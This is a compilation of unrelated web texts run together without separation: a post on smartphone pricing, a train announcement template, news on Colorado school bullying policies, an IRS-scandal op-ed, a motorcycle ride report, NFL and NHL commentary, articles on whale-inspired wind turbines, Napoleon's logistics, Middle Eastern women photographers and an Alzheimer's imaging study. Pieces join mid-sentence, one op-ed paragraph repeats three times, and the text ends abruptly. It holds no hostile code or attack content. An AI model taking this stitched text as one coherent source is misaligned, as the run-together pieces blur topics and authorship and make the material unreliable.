Marketing smartphones is very different elsewhere. Many European countries don't allow phones to be locked to carriers, although phones can be subsidized when sold with call plans. In France, an iPhone 4 is €620 ($800). Canada has a similar situation, where you can buy the same phone at retail and choose a carrier by service cost only. But note that usually the stated phone prices include value-added tax or sales tax, unlike in the USA, so comparing $600 in the US with $800 in Europe doesn't completely cover the "value of no carrier lock."
Does AT&T's exclusive deal with Apple mean it is subsidizing more of the phone than the typical Android smartphone? And would the end of that deal, in 2011, mean the iPhone would cost less? Or would AT&T subsize more, or would Apple take the profit loss? Or does the cost of the phone go up with a new contract? Weintraub expects to see the iPhone climb to $250 or even $300 when that happens. But Apple can't be ignoring Android's increasing market share. And Verizon can afford a price-war with AT&T, so I'm not so sure I'd call a $300 iPhone just yet. Plus, the Android competition is headed in the other direction:
AT&T's Android smartphone offerings, ranging from $129 to $199 with service contract, have another competitor you may not have thought about. These prices are the same whether you buy the phone in an AT&T store or from their website. (Images from Fortune.)
Check out the prices when you buy the same phones from Amazon:
Same exact phones, much lower prices. Weintraub's got another image of Amazon pricing for Motorola Droid line, also cheaper than at Verizon. Compare T-Mobile's one day $99 special on the Samsung Vibrant to the cost at Amazon: free. How does Amazon make money giving away low-cost or even free Android phones? Simple. Amazon sells the phones with the same contract the carrier stores do. They make their money from the bounty paid to them by the carrier. The only difference to you is the early service termination penalty may have an additional fee to Amazon tacked on (the penalty is paid to Amazon Wireless). So if you buy a phone online, you better make sure you intend to keep it.
Weintraub concludes this means future Android phones will get less expensive. After all, why would anyone buy a phone from a carrier with these price differences? He sees future smartphones selling for lower cost and only one-year rather than two-year contracts. The end of iPhone exclusivity will mean its price won't be kept as artificially low, but at the same time Android devices can't stay as artificially high.
Check out the article and comments, then share your thoughts.03 Configurable announcement
Select a message in the list The train now approaching [platform], is the [time] [company] service to [station1]. The train is the [time] [company] service to [station1], calling at [station2], [station3], and [station4]. The train now standing at [platform] is not in service. The next service to arrive at [platform] will set down passengers only. The train approaching [platform] terminates here. Customers for [station1], and [station2], should change at [station3]. We are sorry to announce that the [time] [company] service to [station1], via [station2], has been cancelled. We are sorry for the inconvenience that this will cause. The cancellation of this service is due to [cancel]. A shuttle service is in operation between [station1], and [station2]. The [time] train to [station1], is delayed by [num] minutes. This delay is due to [delay]. Please note that due to the severe weather conditions your connecting services may also be affected. The next service is passing through the station. Please note that there is more room towards the front of the train. First class accommodation on this train can be used by standard class tickets holders. Attention please, this is a platform alteration. Please note that there are delays and cancellations on TFL underground. Please stand clear while the train is being detached. This service is currently delayed. Please listen to further announcements for service updates. Please keep your belongings with you at all times. If you see anything suspicious, please tell a member of staff. Please note, that a replacement bus service is currently in operation. Please use all the doors on this train allowing passengers to alight first. Please do not attempt to board this train. Please check information available at your connecting stations. This service has been reported as full and standing. Smoking is not permitted anywhere on this station. All other lines have a good service.While many Colorado school districts have adopted explicit policies against bullying of gay and transgender students, some say singling out populations is not necessary to create a safe environment for marginalized students.
According to a report released Wednesday by One Colorado, the state’s largest gay, lesbian, bisexual and transgender advocacy group, 82 percent of school districts statewide have revised their anti-bullying policies since 2011. That’s up from 37 percent in 2012, when the organization first examined school district policies.
The revisions followed the 2011 passage of a state law that prohibits bullying on the basis of a student’s actual or perceived sexual orientation or gender identity. The bill also included a program that provided funding to help schools update their policies.
Colorado’s legislation was considered a landmark at the time. Meanwhile, protections for LGBT students are coming into new national focus after President Donald Trump rescinded guidance on how schools should accommodate the needs of transgender students.
Daniel Ramos, One Colorado’s executive director, said the organization worked with many school districts after the bill passed in 2011 to develop the proper language for updating policies.
One Colorado has received some pushback, however, from districts that find redrafting their guidelines unnecessary, he said.
“Some schools don’t believe that they have LGBTQ youth or LGBTQ people in their school districts,” Ramos said. “Regardless of whether you have LGBTQ people or LGBTQ families… having bullying policies that reflect actual or perceived identity is important in that it protects all students.”
Three school districts in the Denver area — Westminster, Aurora and Adams 14 — are listed as still not having updated their anti-bullying policies to comply with the law. The report also notes that the Douglas County School District has not updated its policies yet, but is in the process of doing so.
Most of the other Colorado school districts that have not updated their policies are small and rural.
The Westminster school board earlier this year passed a resolution stating that the district does not tolerate bullying, harassment or discrimination, including discrimination based on a person’s sexual orientation.
However, Ramos said the resolution doesn’t cut it. He said One Colorado was looking for an explicit anti-bullying policy.
Aurora includes language in its nondiscrimination policy that prohibits targeting students for a number of reasons, including sexual orientation — but does not enumerate that in its anti-bullying guidelines.
Ramos said it is important for districts to be explicit in prohibiting harassment based on specific aspects of a student’s identity in both the anti-bullying and nondiscrimination policies.
According to a report from the Gay, Lesbian and Straight Education Network, policies that explicitly protect LGBT students are more effective than those that do not.
“Just a general anti-bullying policy, one that says bullying is prohibited but doesn’t list any of the characteristics, is as effective as having no policy at all,” Ramos said.
Adams 14 also has policies that do not specifically list protected identities, said Kim Cini, the district’s assistant director for student services.
She said Adams 14’s school board is considering updates to all district policies, but the general language in the anti-bullying and nondiscrimination guidelines is meant to encompass all Adams 14 students.
The Commerce City school district also has rolled out new curriculum this year, aimed at increasing instruction based around practicing empathy for students with different identities and backgrounds, she said.
“Bullying applies to all people, whether we’re explicitly identifying that population or not,” Cini said. “I think we’re going to get a lot further (with social-emotional learning) than talking about what a policy is.”
Ramos said updating policy can be especially impactful for students in predominately Latino districts such as Adams 14.
“I myself, as a gay Latino male, know that I don’t just show up in public as either gay or as Latino or as male — I show up as all those things and then some,” he said. “For students to feel like they can bring their whole selves to school and talk about the experiences that they have as people of color, as LGBTQ folks, as male or female, that’s what we want young people to feel safe enough to able to bring to the classroom.”
Originally posted on Chalkbeat by Marissa Page on August 23, 2017
Photo credit: Nic Garcia, Chalkbeat ColoradoI believe that the statement should also include the dismissal of key IRS people and the White House Chief Counsel who kept the president in the dark.
It's time for President Obama to make a "Bay of Pigs" type statement and accept full responsibility for the IRS scandal. He should say that "the buck stops with him" and that it happened on his watch.
It's time for President Obama to make a "Bay of Pigs" type statement and accept full responsibility for the IRS scandal. He should say that "the buck stops with him" and that it happened on his watch.
It's time for President Obama to make a "Bay of Pigs" type statement and accept full responsibility for the IRS scandal. He should say that "the buck stops with him" and that it happened on his watch.
President Obama should deliver a prime time speech and assure the public that he is committed to a resolution of the IRS crisis.
After that, President Obama should commit to an independent prosecutor who will issue a report that people will believe. No one is going to buy a DOJ investigation.
By the way, thousands of good people who work at the IRS deserve nothing less. Morale must be very low at the IRS after this scandal. Wonder what customer service calls must be like these days between taxpayers and telephone representatives?
It was good to see Bill Keller of The NY Times call for an independent prosecutor:
"Republicans are howling for President Obama to name a special prosecutor to investigate the Internal Revenue Service's targeting of Tea Party groups. The president should call their bluff."
Yes, Mr Keller is right about this.
Appoint Patrick Fitzgerald and let him get to the bottom of the scandal. I think Fitzpatrick is well regarded by both sides.
At the end of the day, the IRS scandal is the biggest threat to the Obama presidency. There is no easy way to get out of this mess.
My message to President Obama is simple: Take responsibility, hold key personnel accountable and let an independent prosecutor settle this mess.
Otherwise, it will be "drip, drip and drip" until the cup overflows.
And overflow it will!Yeah, I’ve got a lot of breath on the first page but I’ll keep it in check with more photos than words in days to come…
(i.e. direction this country is headed, politics, work, false freedoms, false reality of retirement for newer generations, lack of adventure, lack of love, lack of LIVING). But this is a Ride Report; So I’m staying away from that stuff and getting the hell out of dodge! So about 4 months ago I’m sitting in a bar drink’in scotch with my buddy in southern Oregon griping about life in general(i.e. direction this country is headed, politics, work, false freedoms, false reality of retirement for newer generations, lack of adventure, lack of love, lack of LIVING). But this is a Ride Report; So I’m staying away from that stuff and getting the hell out of dodge!
During the conversation my buddy asks me what I’d do if money/time were not an issue. I love the outdoors, I love adventure, I love the feeling of the unknown where anything can happen and I love motorcycles. I guess I’m basically just tired of the way that my world has become a predictable, homogenized system devoid of any life-professing challenges. On top of all this I enjoy travel and have always had a desire to see South America (no idea why).
So I told him (Alex) that I would probably pack up and ride a dirt bike to SA. Alex thought this sounded “Kickass” and he said we should just go for it. I tried to make a bunch of excuses about work/career, money, etc… but eventually I agreed. I really felt that we would do this…..someday.
Over the last 2 months some other events occurred and I talked to Alex and we agreed to do it NOW. Right around X-mas we set the departure date for January 15<SUP>th</SUP>, 2013. Cool….a whole month or so.
Short Background on myself:
Picked up a DRZ400SM about a month later, fell in love, rode the piss out of it for the next 2 years with no problems at all. So I picked up a Husqvarna 510 Supermoto for a little more getup. After 3 miles I blew the engine. Rebuilt to a 530….wow….WOW! Just last spring a buddy of mine invited me on a dual sport ride out of Hood River. Bought a set of 21/18 for the Dizzer and hit the road. Had an absolute blast. Did some research and found this thing called the OBDR. “Trails all over Oregon where you ride mostly off-road…..get the F*ck |
are a.500 team at the midpoint, but how will the rest of their season go?
A quick look at the standings in the NFL might reveal that the Lions are an average team. Their.500 record does indicate that. The Lions have had good games and bad; they have won games handily and let others slip through their fingers. In some cases, they have taken that idiom far too literally. There have been weeks of frustration, and weeks of jubilation. For Lions fans, there have been more ups and downs than the Hulk rollercoaster in Universal Studios, Orlando.
But things are looking up. I am far from an optimist regarding the team, I am not a pie in the sky dreamer. In our preseason picks, I predicted the team would be 1-7 right now. I have tweeted in the past that Lions fans should have been ecstatic with the team’s record based on who they had played. But after playing down the team’s prospects for eight games I could not be more excited about the second half of the year. We are eight games in, and that’s a big enough sample size that I feel comfortable making some comparisons, and extrapolating them to predictions. Here are the reasons I am excited about the next eight games, and you should be too.
Comparative Records of the Lions’ Opponents
The Lions are 4-4 despite having played only one team with a worse record than they have. The New York Giants are 1-7. The Arizona Cardinals, the Green Bay Packers, and the Atlanta Falcons are all 4-4 just like the Lions. The New Orleans Saints and Pittsburgh Steelers are 6-2, while the Carolina Panthers are 6-3. The collective record of the Lions’ opponents for their first eight games is 31-26. Against opponents that have won a sizable majority of their games, the Lions have won as many as they lost.
The Lions’ second-half opponents are the Cleveland Browns (0-8), the Chicago Bears (3-5 twice), the Vikings (6-2), the Baltimore Ravens (4-5), The Tampa Bay Buccaneers (2-6), the Cincinnati Bengals (3-5), and thePackers (4-4). The Lions play only one team with a winning record – the Vikings. They already beat that team at home in week four. The Lions’ opponents in the second half have a combined record of 25-40. The only team they face coming off a bye week is the Cleveland Browns on Sunday. By this admittedly imperfect metric, the Lions should finish the year with a 7-1 or 6-2 record in these games.
http://gty.im/846638978
Relative Offense and Defense Rankings
The Lions rank 21st in the NFL in team defense. They face Cleveland (27), Chicago (29, twice), Minnesota (11), Baltimore (30), Tampa Bay (13), Cincinnati (32), and Green Bay (23). The Lions defense has a better rank than six of eight opponents they face to finish off the year.
On the other side of the ball, the Lions are 16th in the NFL in team offense. They face Cleveland (9), Chicago (8), Minnesota (4), Baltimore (7), Tampa Bay (28), Cincinnati (6), and Green Bay (25). The offense is more highly ranked in only two of eight contests. On the surface that looks like a tough row to hoe. Team defensive yards, however, are very dependent on game situations and may be misleading in many of these cases. Bad teams tend to face offenses in the second half that are trying to kill the clock and get away without injuries more than they are trying to move the ball and extend their lead. Lions fans saw that in the New Orleans game, where the Lions offense came very close to stealing a game against that kind of defense.
http://gty.im/630775094
A Little Bit Deeper Dig
A better metric on both counts, in my opinion, is yards per play. The Lions rank 20th on offense and 8th on defense in those categories. They face Cleveland (25 defense, 30 offense), Chicago (23D/27O), Minnesota (31D/15O), Baltimore (27D/31O), Tampa Bay (4D/8O), Cincinnati (30D/25O), and Green Bay (9D/21O). The offense is better than the defense they will face in six of eight cases, and the defense is more highly ranked than all but one opponent, the Tampa Bay Buccaneers, who they share the eighth-place rank with.
In combined rank for both sides of the ball, the Lions totaled 28. Only one of their opponents, the Tampa Bay Buccaneers are better in this overall metric. The reason the Buccaneers are struggling is their awful special teams unit. They have gone through several field goal kickers in 2017.
A Much Deeper Dig
That is all well and good, but the devil is in the details. The Lions’ pass offense is ranked sixth in yards per attempt. The Bengals are third in the NFL in yards per attempt allowed. The Ravens and Vikings are tied, they have allowed the fourth-fewest yards per attempt. The Bears are 16th, the Browns are 21st, the Packers are 27th, and Tampa Bay is 28th. The Lions should be able to move the ball in the air with ease in five of eight games.
The Lions’ run offense is ranked 29th in yards per carry. The Browns are first, The Vikings are fourth, The Bengals are twelfth, the Bears are tied for thirteenth with the Packers, the Buccaneers are sixteenth, the Ravens are nineteenth, in rushing yards per attempt allowed. So if you’re looking for a rebound for the Lions’ running game, don’t count on it. The Lions are facing nothing but decent to very good run defenses.
The Lions’ pass defense sit sixth in yards per pass attempt allowed. The best passing offense they face per play is the Buccaneers who are third in the NFL per attempt. The Vikings are 16th, the Packers are 21st, the Browns are 22nd, the Bengals are 28th, the Ravens are 31st and the Bears are 32nd.
The Lions’ run defense ranks fourth in the NFL in yards per attempt allowed. They will face the Bears who are sixth, the Ravens who are eighth, The ninth-ranked Vikings, the Packers who are 21st, the Browns who are 23rd, the Buccaneers who are 28th, and the Bengals who are 32nd in the NFL.
The Lions have also dominated the turnover differential in 2017, currently sitting fifth in the league. They face teams that are all lower in that incredibly important ranking.
Drive Sustenance
The Lions have come in 11th in average drive length, and 15th in drive length allowed. Only, Minnesota Green Bay and Tampa Bay have offenses that outrank the Lions defense. Green Bay has dropped monumentally without Aaron Rodgers at the helm, and the rest of the Lions’ opponents make up four of the bottom five offenses in the NFL at sustaining drives.
Minnesota, Cleveland, and Baltimore have defenses ranked better than the Lions offense in average drive length by football outsiders. Chicago and Cincinnati are close, but rank 12th and 13th respectively. Examining the actual number rather than relative ranking; Chicago and Cincinnati do allow fewer yards per drive than the Lions gain, however. More importantly, though, the Lions face only one team that has been gaining more yards per drive than they give up. Once again, that team is the Vikings, who have already dropped a home game to the Lions.
What That All Means
The Lions are unlikely to rebound running the ball, the one thing that the teams they are facing can almost all do is limit the running game. It’s just not a strength for the Lions in 2017. With that said the Lions’ passing game is likely going to continue moving the ball at a high level for most of the season because the teams they face are not particularly great at stopping that. The Lions face a lot of teams that are turning the ball over more often than they create turnovers, and are among the best in the NFL at getting the ball back into the offense’s hands. Defensively the Lions are probably a solid fantasy play for the rest of the season if they’re available in your league.
The Lions should win the majority of their games by almost any metric. Even a 5-3 record gets them to 9-7 which is almost always good enough to get one team a wildcard spot. It would have won the division for them in 2016 without a late-season surge from the Packers. My personal prediction is that they will go 6-2 in the remaining games, losing to the Vikings and what has jumped out as an obvious trap game, the Tampa Bay Buccaneers. I have a lot of respect for them as a threat after watching them play the spoiler so many times. My final prediction is that the Lions finish the season 10-6, or 9-7 if Aaron Rodgers has a reason to risk himself at the end of the year.
You can find Ash getting into arguments on twitter @A5hcrack. He also drops in on the Lions’ subreddit from time to time at /r/detroitlions.Imagine you’re driving your car on a clear day. You idly stick your hand out of the window, and tilt your hand, playing airplane as the wind pushes your hand upwards.
That’s lift—the same lift that allows an airplane to stay aloft or a windmill blade to turn. To help these man-made technologies increase maneuverability in the air, scientists took a tip from one of the lift experts of the ocean: the humpback whale.
Unlike many of their whale brethren, the humpback doesn’t survive solely on krill, captured by opening their mouths and swimming straight ahead towards the shrimp-like crustaceans. Instead, humpbacks maneuver to catch fish. And to do so, they’ve got to make some tight turns.
To make those fast course corrections, the humpback has to prevent its flipper from stalling. “If a whale wants to make a tight turn, it’ll need more lift, from a higher angle of attack,” explains Frank Fish, a biologist at West Chester University. “But if that angle of attack is too great when it’s trying to make that circle, it’ll stall”—just like a stomach-dropping moment in an airplane, or skidding on black ice in a car.
Humpbacks can maneuver their flippers to a sharp angle of attack before they start to stall, which lets them develop more lift and make those fish-catching turns. That’s thanks to tubercles, bumps that create scalloped edges on the leading side of their flippers.
Professor Fish and his team engineered flippers with tubercles and without, and tested them in a wind tunnel at the Naval Academy. They found that the tubercles did delay stall, increasing the angle of attack up to 42 percent.
Affixing tubercles to blades has shown similar effects with windmills, fans, surfboard fins, and even a hydroplane. “Because you can go to a higher angle of attack, there’s an increase in the amount of lift that can be generated,” says Fish. That’s especially important for wind turbines: Gusts from two different directions can stall the blade of a windmill, to the point where it’ll actually blow up. “You have to engineer windmills at fairly low angles of attack, so you aren’t getting that much lift and energy in the process,” says Fish. With tubercles, engineers can design windmills with a higher angle, enabling them to get more lift, spin faster, and gather more energy—while (mostly) safely assured that they won’t blow up.The Canucks were doing a whole LOT of this last night: CHASING THE PUCK.
And they have a new Canuck Killer on their hands – Alex Steen.
(Photo by Jeff Vinnick/NHLI via Getty Images)
We’re now 10 games into the Vancouver Canucks’ season, and one thing has become clear to me: the Canucks have mastered the art of phoning it in.
Whether the man in net is the much-maligned Roberto Luongo or the golden-boy Cory Schneider, the Canucks effort level when starting games has stayed at 0 with no signs of increasing. Last night, their disinterest was on full display from start to finish, and the Canucks biggest problem lies with their best players.
The Sedins, Kevin Bieksa, and Dan Hamhuis have been down-right terrible and last night’s game was no different. While the Sedins and Bieksa look lazy, disconnected and lost, Dan Hamhuis looks panicked and tentative. Don’t be fooled by the Sedins point totals. For 50-55 minutes of every game, they’ve been tuned out. Manny Malhotra and Ryan Kesler are clearly still recovering from off-season surgeries and still need time to get back to full game speed (Malhotra MUCH more so than Kesler). Cody Hodgson, finally playing in his first full NHL season, looks okay, but he’s still making mistakes and at times, he’s pretty easily shoved off the puck. I’ll cut Cody a little slack because he’s certainly had more good shifts than bad. Jannik Hansen has been just roundly terrible. Aaron Volpatti is a detriment to his team every time he is on the ice, losing puck battles and taking penalties. So that leaves Alex Burrows, Chris Higgins, Max Lapierre and Dale Wiese. (I reserve judgement on David Booth, but the signs are pointing to positives. But no report card just yet). Those are the four forwards that have been consistently good for the Canucks this season. And last night, this same exact list was true. Four. For those keeping score, that’s one first liner, one second liner and two fourth liners. Yikes. Luckily for the Canucks, these players also predominantly play on the penalty kill, which shows because the Canucks PK has been pretty darn good. But that’s about it.
The Canucks offence is bored and ineffective right now, and the St. Louis Blues solved it early. The Blues ground along the boards, seemingly won every neutral-zone and defensive-zone puck battle and stayed tight the Canucks forwards. The Canucks forwards weren’t skating well or forcing the game speed up, so they didn’t draw the Blues into taking any penalties. It’s hard to go on the attack when you (a) don’t have the puck, and (b) aren’t playing well enough to draw penalties. And to top it all off, the biggest symptom of all of their offensive laziness is the fact that the Canucks have scored the first goal in only 2 of their 10 games. The Canucks offensive game relies pretty heavily on being out front. When the Blues suffocated the Canucks forwards, the Canucks weren’t able to find any flow or rhythm to their game. When Alex Steen got the Blues on the board to open the scoring, the Canucks started panicking and rushing plays and got completely off their game plan. Right now, the Vancouver Canucks are making opposing goaltenders look like world beaters, and Brian Elliott was no different last night. Because the Canucks started panicking and rushing, they took very low-percentage shots, making it easy for Elliott to backstop his team to a shutout.
The Canucks have now been shut out three times in their first 10 games. And lest we forget that they only scored 8 goals in 7 games on their way to a Stanley Cup Final loss. If you are a Canucks fan, it is time you admit that the lack of offence is a BIG problem.
Then there’s the defence. Oy. The defence has a much different, yet equally troubling, problem than the offence. While the offence looked roundly disinterested, the defence looked panicked and disorganized. There is absolutely no structure to their defensice schemes right now and last night showed that in spades. The Canucks D turned over pucks, lost battles along the boards and are generally got outhustled by the Blues forwards. When the Canucks do happen to make their way into the offensive zone, the point men looked confounded with what to do with the puck. They nervously passed it back and forth, double-clutched on taking shots, then tried to get pucks through which were easily blocked. Sound familiar? Yeah. This sounds like EVERY game, not just last night against the Blues. Kevin Bieksa has been the worst Canucks player on the ice most games this year. Dan Hamhuis looks confused and a step behind. Keith Ballard has been red hot or ice cold within every game. Andrew Alberts is slow and terrible. Last night, the Canucks best defenceman (and probably their best overall player) was Alexander Sulzer, and last night was his FIRST game of the year.
Last night, the Vancouver Canucks made a very mediocre team and a very mediocre goaltender look like world champs.
Their next game, at home to the Washington Capitals, is the Canucks’ first must-win game of the year. A convincing win shows that the Canucks actually do care about playing hockey. Another loss like the one last night to the Blues and the Canucks need to come to the realization that they may need to make some awfully big changes.
But the biggest change that needs to happen after last night is: COMMITMENT. This team, from Captain Henrik to Aaron Volpatti and everyone in between, needs to start being committed to playing hard from the opening whistle to the final horn.To ensure that businesses do not suffer due to delay in the GST bill passage, the government will "find another way" to bring the benefits of the law to the industry, Power Minister Piyush Goyal said on Sunday.
Goyal said in a tweet:
Even if GST is not passed in Parliament, we will find another way to bring the benefits of law so that industry and business does not suffer December 20, 2015
However, he did not elaborate on the alternate ways.
Finance Ministry had earlier expressed hope that the Goods and Services Tax regime, the constitution amendment bill for which has been stalled in the Rajya Sabha, will be rolled out in 2016.
Congress leader Anand Sharma on Saturday said that the April 1 deadline for rolling out GST will not be met "even if the trinity of Gods - Brahma, Vishnu and Mahesh - descend on earth", as the government has not yet completed the preparatory work for the new indirect tax regime.
Talking about the construction of toilets under Swachh Vidyalaya Abhiyan, Goyal tweeted:
PSUs under my Ministries alone have constructed 1,28,000 toilets under Swachh Vidyalaya Abhiyan. Separate toilets for boys & girls — Piyush Goyal (@PiyushGoyal) December 20, 2015
Goyal, who also holds the new and renewable energy portfolio, highlighted the country's 175 GW green energy target by 2022. He tweeted:
India's renewable program is the largest in the world. 175GW by 2022. 5x growth in 7 years. Entire world is appreciating. December 20, 2015
Regarding the government's package for state discoms, he said, "Ujwal Discom Assurance Yojna #UDAY scheme to turn around DISCOMs, also saves capital for PSBs."Napoleon's failure: For the want of a winter horseshoe
Of all the challenges faced by generals through history, moving armies has been one of the greatest - and Napoleon Bonaparte's invasion of Russia 200 years ago illustrates just how badly things can go wrong when it is underestimated.
It is not enough just to get your forces from A to B - you have to keep them fed and watered as they go. The art of movement, therefore, is one of the most complex and vital that any commander must master, if he is going to win.
In 1812, his armies having swept all before them, Napoleon was at the zenith of his power (shades of another invader of Russia 129 years later). His Grande Armee of 400,000 men was thought to be unbeatable and he himself anticipated a rapid victory.
Yet within six months his huge force had been reduced to a straggling band of ragged fugitives, and fewer than one in 20 of his soldiers would ever see their homes again. How had it come to this?
During previous campaigns in Western Europe, Napoleon had solved the problem of feeding his armies by letting them "live off the land" - either by pillaging or buying up supplies as they advanced.
But aware that such an expedient would not be possible in "the wastelands of the Ukraine", he planned to take his supplies with him.
This was a logistical operation of quite staggering proportions, requiring a wagon train of no fewer than 26 battalions - eight equipped with 600 light and medium wagons each, and the rest with 252 four-horse wagons capable of carrying 1.36 tonnes (a grand total of 9,300 wagons).
To pull these wagons and to transport his cavalry and artillery he had gathered 250,000 horses, all of which required 9kg (20lbs) of forage a day.
And yet the figures did not add up.
Had Napoleon arrived in Moscow in two months, and with only half his original 400,000 men, he would still have required total supplies of 16,330 tonnes, which was almost double the capacity of his supply trains.
Instead he advanced with just 24 days rations. Clearly he was gambling on a rapid victory and a campaign that would not last longer than three weeks. It was wishful thinking.
The Russians refused to stand and fight and destroyed crops and supplies as they withdrew, luring Napoleon ever further across forests, marshes and steppes.
Meanwhile the Grande Armee was losing 5,000 men a day thanks to desertion, disease and suicide and horses perished at a rate of 50 per kilometre (80 per mile) most from eating an unhealthy diet of freshly cut green fodder.
There were only two significant battles - at Smolensk, where the Russians were defeated, and at Borodino, near Moscow, a bloody and inconclusive contest that resulted in combined casualties of 80,000 men (44,000 of them Russian).
As the withdrawal continued, Napoleon entered Moscow in mid-September with only a quarter of his original strength. But Tsar Alexander I's refusal to sue for peace, and the problems of supply caused by his "scorched earth" policy, gave Napoleon little option but to retreat.
His troubles, however, were just beginning. Having entered Russia in June, and anticipating a short campaign, his horses were still shod with summer shoes.
Continue reading the main story Chaotic retreat "The naked masses of dead and dying men. The mangled carcasses of 10,000 horses which had in some cases been cut for food before life had ceased. "The craving of famine at other points forming groups of cannibals. The air enveloped in flame and smoke. The prayers of hundreds of naked wretches flying from the peasantry, whose shouts of vengeance echoed incessantly through the woods. "The wrecks of cannon, powder-waggons, all stores of every description: it formed such a scene as probably was never witnessed in the history of the world."
But with the brutal Russian winter fast approaching, this tiny logistical oversight was to cost him dear. Winter horseshoes are equipped with little spikes that give a horse traction on snow and ice, and prevent it from slipping.
Without them, a horse can neither tow a wagon uphill, nor use them as brakes on the way down.
In the Russian winter of 1812, this spelt disaster for Napoleon's reduced force. Horses in summer shoes would have "fallen down underneath whatever it was they were towing", in the words of Bernie Tidmarsh, one of Britain's leading farriers.
"They wouldn't have got any grip going downhill any more than they would have going up," he says. "The end result would have been broken legs and mutilated limbs."
Assailed by hunger, the cold and Russian cavalry, the Grande Armee wasted away.
By the time Napoleon abandoned his army to its fate in Poland - arriving back in Paris on 5 December - it numbered fewer than 10,000 effectives. It was a disaster from which he would never recover.
His long retreat from Moscow has gone down in history as one of the greatest logistical disasters of all time. Without adequate horse transport, 2,400km (1,500 miles) from home, his army had no chance.
If a general gets his logistical preparation right, however, he can literally steal a march on the enemy.
Perhaps the greatest recent example of this was during the Franco-Prussian War of 1870-71 when the Prussian commander Helmuth von Moltke used the efficiency of German railways to concentrate his troops before the French could.
Having gained the initiative, he did not relinquish it until Prussia had won the war, a victory that would usher in German unification.
Horses, however, remained all armies' chief means of moving men and supplies over difficult terrain until the Jeep was introduced by the United States military in World War II.
Jeeps were durable, reliable and flexible.
They could be used for almost anything - towing, cable-laying, transporting casualties and supplies, and with the right wheels they could even drive on railway tracks.
Every regiment in the US Army was supplied with 145 Jeeps, and 640,000 were built between the years 1941 and 1945 (18% of all wheeled vehicles).
By Vietnam, the Jeep had given way to the helicopter, and it is hard to imagine a modern army fighting a war without this supremely adaptable workhorse.
Yet as recently as the Falklands War of 1982, when helicopters were in short supply, many British soldiers had to "yomp" for three weeks across the barren heath of East Falkland before fighting a battle on the outskirts of Port Stanley. Some things never change.
Saul David is Professor of War Studies at the University of Buckingham.
His series Bullets, Boots and Bandages: How to Really Win at War is broadcast on BBC Four at 21:00 GMT on Thursdays 2, 9 and 16 February 2012. Catch up on earlier programmes via BBC iPlayer (UK only) at the above link.Four contemporary photographers -- hailing from Yemen, Iran, Lebanon and Saudi Arabia -- are bringing a female perspective on the Middle East to the white walls of New York's gallery world. For the first time in NYC, these four women will showcase their stunning and provocative portraits of non-Western identities in a group show titled "The Middle East Revealed," shining a light on moments as traditionally significant as the Hajj and mundanely beautiful as a quite minute of reflection in a girl's bedroom.
Rania Matar, "Lubna, Beirut, Lebanon" (from A Girl and Her Room series), 2010, courtesy of Howard Greenberg Gallery
Boushra Almutawakel, Shadi Ghadirian, Rania Matar and Reem Al Faisal are photographers of the late 20th and early 21st centuries, famous in different corners of the Middle East for capturing diverse features of everyday life. While one uses the camera to venture behind the scenes of a young woman's sanctuary, another sets her lens on the architecture of Mecca. The shifting subjects and settings offer various perspectives on the nations wedged in Western Asia.
Reem Al FAisal, Hajj, 1999- 2003, courtesy of Howard Greenberg Gallery
Reem Al Faisal is known to some as the granddaughter of the late Saudi King Faisal. But since 1994, she's been a fixture in the photography realm, exhibiting her black-and-white snapshots of the hordes who make the pilgrimage to the birthplace of Muhammad. Dubbed "The Outspoken Princess" by Khaleej Times, she defines herself as "a Muslim artist, sprung from my native Saudi culture and history."
Shadi Ghadirian, "Qajar, 1998," courtesy of Howard Greenberg Gallery
Shadi Ghadirian, on the other hand, is a child of the Iranian revolution. Born in 1974, she examines her own experience living under sharia, coming head to head with censorship and conflict. In her images on view, she poses family and friends in the style of old photographs, reconstructing classical 19th century vignettes with a touch of contemporary. For instance, one of her portraiture subjects can been seen operating a vacuum. Boushra Almutawakel, who is considered to be Yemen's first female photographer, embarks on a similar juxtaposition. She positions women in veils directly in front of the camera, documenting their dominant postures and strong gazes.
Boushra Almutawakel, "Mother, Daughter, Doll" series, 2010, courtesy of Howard Greenberg Gallery
"I have photographed many other topics, but I do love photography related to women," Almutawakel explained to Project Inkblot. "I hope my work regarding women will generate curiosity, conversation, and debate, especially in the areas of social norms and stereotypes, and women’s rights. As women, we have sooo many issues to contend with, so many wrongs that need to be corrected, not just for women in the Middle East, but women everywhere."
Rania Matar, "Andrea, Beirut, Lebanon" (from A Girl and Her Room series), 2010, courtesy of Howard Greenberg Gallery
Rania Matar, born in Lebanon but based in the U.S. today, rounds out the group. Her photographs penetrate the personal spaces of adolescent girls, showing shots of teenagers in the States next to kids in the Middle East. The work of all four of these women will be topped off by a look back on the oeuvre of the American Margaret Bourke-White, the first female photojournalist who traveled to Syria to shed light on the country's internal politics before her death in 1971. "Bourke-White's pioneering work for Life magazine, featuring terrifying images of war, the concentration camp victims at Buchenwald, and Gandhi at his spinning wheel, established her place in the photographic pantheon," CNN's Bruce Kennedy wrote in 1999.
Check out a preview of "The Middle East Revealed: A Female Perspective," on view at Howard Greenberg Gallery until August 30, 2014, and let us know your thoughts on the works in the comments.
Margaret Bourke-White, Members of the native Bedouin camel cavalry, commanded by the French expeditionary force, posing on their she-camel mounts in desert near Damascus, Syria., 1940, Gelatin silver print; printed c.1940, 10 1/4 X 13 5/8 inches, Photographer's credit stamp, LIFE Picture Collection stamp, Time, Inc. reproduction stamp, and annotations in pencil and colored pencil on print verso.
Reem Al FAisal, Hajj, 1999- 2003, courtesy of Howard Greenberg Gallery
Shadi Ghadirian, "Qajar, 1998," courtesy of Howard Greenberg Gallery
Boushra Almutawakel, Untitled (from The Hijab series), 2001, courtesy of Howard Greenberg Gallery
Margaret Bourke-White, A Columbia Pictures movie billboard for "The Spy in Black" starring Conad Veidt, also written in Arabic, in busy Ismailia sqaure, 1940, Gelatin silver print; printed c.1940, 8 1/4 X 11 1/2 inches, Date and annotations in pencil, "Publicity Censor" stamp, "Passed By Censor" stamp, and Time Inc. copyright stamp on print verso.Plaques Detected in Brain Scans Forecast Cognitive Impairment
DURHAM, N.C. -- Brain imaging using radioactive dye can detect early evidence of Alzheimer's disease that may predict future cognitive decline among adults with mild or no cognitive impairment, according to a 36-month follow-up study led by Duke Medicine.
The national, multicenter study confirms earlier findings suggesting that identifying silent beta-amyloid plaque build-up in the brain could help guide care and treatment decisions for patients at risk for Alzheimer's. The findings appeared online March 11, 2014, in Molecular Psychiatry, a Nature Publishing Group journal.
